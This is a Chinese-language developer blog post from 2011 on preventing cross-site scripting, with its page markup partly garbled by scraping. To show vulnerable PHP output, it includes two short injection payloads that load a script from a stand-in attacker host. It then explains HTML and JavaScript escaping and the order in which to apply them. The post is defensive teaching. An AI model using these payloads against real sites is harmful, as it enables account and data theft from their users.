Preventing XSS (I)

作網站要很注意XSS, 和SQL Injection, 可以說是基本中的基本. 這一篇文章是我對如何防止XSS(Cross-Site Scripting)的看法, 但是絕不能認為注意到我提到的地方就可以完全防止了. 攻擊的方法不斷地更新, 網站開發者也要隨時提高警覺, 注意新消息才能避免自己的網站成為下一個受害者.

基本原理

以現今的網站來說, 幾乎已經沒有完全靜態的網站. 只要有顯示動態資料, 尤其是使用者產生的資料, 就有被XSS的可能. XSS的型態有非常多種, 但主要都是為了要插入一段攻擊者寫的JavaScript, 一但攻擊者能這麼作, 你的網站就能被他利用, 可以作非常多事, 像是偷取網站和其它使用者的資料, 或是讓使用者去安裝殭屍程式. 可以加個</code>, 可以加個<code><script></code>, 基本上就是控制了你的網頁.</p> <p>看一下例子: 例如在<code><script></code>block裡輸出動態資料: <code></p> <script> var comment = "<?php echo $comment;?>"; </script> <p></code> 那攻擊者可以把comment寫成: <code> ";</script><script src="http://ha.ck/"/><script>// </code> 就可以執行任意的JavaScript, 如果是認真的攻擊者, 通常會有3步以上的代理, 利用複雜步驟隱藏真正的意圖, 可能是偷取使用者資訊, 或是安裝trojan horse. 不是在<code><script></code>block裡就沒問題嗎? 唉, 更簡單: <code></p> <p> <?php echo $comment;?> </p> </code> 聰明的你, 馬上就知道, 直接不客氣的把comment寫成: <code> <script src="http://ha.ck/"/> </code> 嘩! hacker練功的好機會! <h2>心態與作法</h2> 基本原則就是: <p style="font-size:1.4em">絕對不要相信資料來源是無惡意的, 尤其是使用者輸入(或產生)的資料</p> 所以任何輸出動態html都要作html escaping. 最基本的5大元素: <code>& < > " '</code> 要escape成<code>&amp; &lt; &gt; &quot; &#39;</code> 如果是寫動態javascript的字串, 還要注意javascript的escaping, 和html是完全不同的, 要注意的是: <code> / " '</code> 要escape成<code>\ / " '</code> 不過事情總是沒有那麼簡單, 例如: 有時候希望讓使用者打一些有html格式的東西, 如<img>. 就不能單純的一口氣全escape了. 也不能使用regex來拔掉可疑的東西, 因為這不但容易錯, 把正常的markup砍掉, 漏洞又很大, 可以輕易找到避開regex規則的寫法. 有一些作法是在client端先用prototype, jquery等js libraries先處理, 是一個不錯的作法. 另外就是, escape要固定在一個地方, 最好是在顯示之前, 然後其它地方就不要escape了. escape的規則和流程也要固定. 否則就會看到使用者打一個&, 讀寫個幾次就會變成千千萬萬個&&&… 有一個很常見的情況: <code> <a onclick='doSomethingWith("<?php echo $myData?>")'> </code> 同時包含了html和javascript, 所以要先escape javascript, 再escape html. 如果反過來的話, single quote和double quote就會少escape一次, (因為變成&開頭了) 就會造成漏洞. <h2>Reference</h2> 這篇我整理了好久, 還是寫不完. 不能拖太久, 所以先把完成的貼出來. 也許整個主題寫好之後再來整理比較好. 有興趣的可以先參考以下的連結: <ul> <li><a href="https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet">https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet</a></li> <li><a href="http://www.squarefree.com/securitytips/web-developers.html">http://www.squarefree.com/securitytips/web-developers.html</a></li> <li><a href="http://wonko.com/post/html-escaping">http://wonko.com/post/html-escaping</a></li> </ul> </div> <footer> <p class="meta"> <span class="byline author vcard">Posted by <span class="fn">hank</span></span> <time datetime="2011-06-01T10:18:41+08:00" pubdate data-updated="true">2011-06-01</time> <span class="categories"> <a class='category' href='/blog/categories/web/'>web</a> </span> </p> <div class="sharing"> <a href="http://twitter.com/share" class="twitter-share-button" data-url="http://hanklin.com/blog/2011/06/01/preventing-xss-i" data-via="hanklin" data-counturl="http://hanklin.com/blog/2011/06/01/preventing-xss-i" >Tweet</a> <div class="fb-like" data-send="true" data-width="450" data-show-faces="false"></div> </div> <p class="meta"> <a class="basic-alignment left" href="/blog/2011/05/25/seraphyou-seek-the-oracle" title="Previous Post: Seraph:You seek the Oracle?">« Seraph:You seek the Oracle?</a> <a class="basic-alignment right" href="/blog/2011/06/15/why-blogging" title="Next Post: Why Blogging">Why Blogging »</a> </p> </footer> </article> </div> <aside class="sidebar"> <section> <h1>Recent Posts</h1> <ul id="recent_posts"> <li class="post"> <a href="/blog/2013/02/02/octopress-blogging">Octopress blogging</a> </li> <li class="post"> <a href="/blog/2012/04/17/jamie%25e6%25b5%2581%25e8%25a1%258c%25e9%258a%25b7-%25e5%25bf%2583%25e5%25be%2597">Jamie流行銷 - 心得</a> </li> <li class="post"> <a href="/blog/2012/03/27/memorize">超級記憶王 - 心得</a> </li> <li class="post"> <a href="/blog/2012/03/21/paper-hadoop">一切從一篇paper開始 - Hadoop</a> </li> <li class="post"> <a href="/blog/2012/03/15/image-optimize-1">網站小圖檔的規範(1)</a> </li> </ul> </section> <section> <h1>Latest Tweets</h1> <ul id="tweets"> <li class="loading">Status updating...</li> </ul> <script type="text/javascript"> $.domReady(function(){ getTwitterFeed("hanklin", 4, false); }); </script> <script src="/javascripts/twitter.js" type="text/javascript"> </script> <a href="http://twitter.com/hanklin" class="twitter-follow-button" data-show-count="false">Follow @hanklin</a> </section> </aside> </div> </div> <footer role="contentinfo"><p> Copyright © 2013 - Hank Lin - <span class="credit">Powered by <a href="http://octopress.org">Octopress</a></span> </p> </footer> <script type="text/javascript"> var disqus_shortname = 'hanklin'; var disqus_script = 'count.js'; (function () { var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true; dsq.src = 'http://' + disqus_shortname + '.disqus.com/' + disqus_script; (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq); }()); </script> <div id="fb-root"></div> <script>(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) {return;} js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/en_US/all.js#appId=212934732101925&xfbml=1"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'facebook-jssdk'));</script> <script type="text/javascript"> (function(){ var twitterWidgets = document.createElement('script'); twitterWidgets.type = 'text/javascript'; twitterWidgets.async = true; twitterWidgets.src = 'http://platform.twitter.com/widgets.js'; document.getElementsByTagName('head')[0].appendChild(twitterWidgets); })(); </script> <script type="text/javascript">(function(e,b){if(!b.__SV){var a,f,i,g;window.mixpanel=b;a=e.createElement("script");a.type="text/javascript";a.async=!0;a.src=("https:"===e.location.protocol?"https:":"http:")+'//cdn.mxpnl.com/libs/mixpanel-2.2.min.js';f=e.getElementsByTagName("script")[0];f.parentNode.insertBefore(a,f);b._i=[];b.init=function(a,e,d){function f(b,h){var a=h.split(".");2==a.length&&(b=b[a[0]],h=a[1]);b[h]=function(){b.push([h].concat(Array.prototype.slice.call(arguments,0)))}}var c=b;"undefined"!== typeof d?c=b[d]=[]:d="mixpanel";c.people=c.people||[];c.toString=function(b){var a="mixpanel";"mixpanel"!==d&&(a+="."+d);b||(a+=" (stub)");return a};c.people.toString=function(){return c.toString(1)+".people (stub)"};i="disable track track_pageview track_links track_forms register register_once alias unregister identify name_tag set_config people.set people.increment people.append people.track_charge people.clear_charges people.delete_user".split(" ");for(g=0;g<i.length;g++)f(c,i[g]);b._i.push([a, e,d])};b.__SV=1.2}})(document,window.mixpanel||[]); mixpanel.init("beb5fb64fa8eb995f72f4c037af8685c");</script> </body> </html>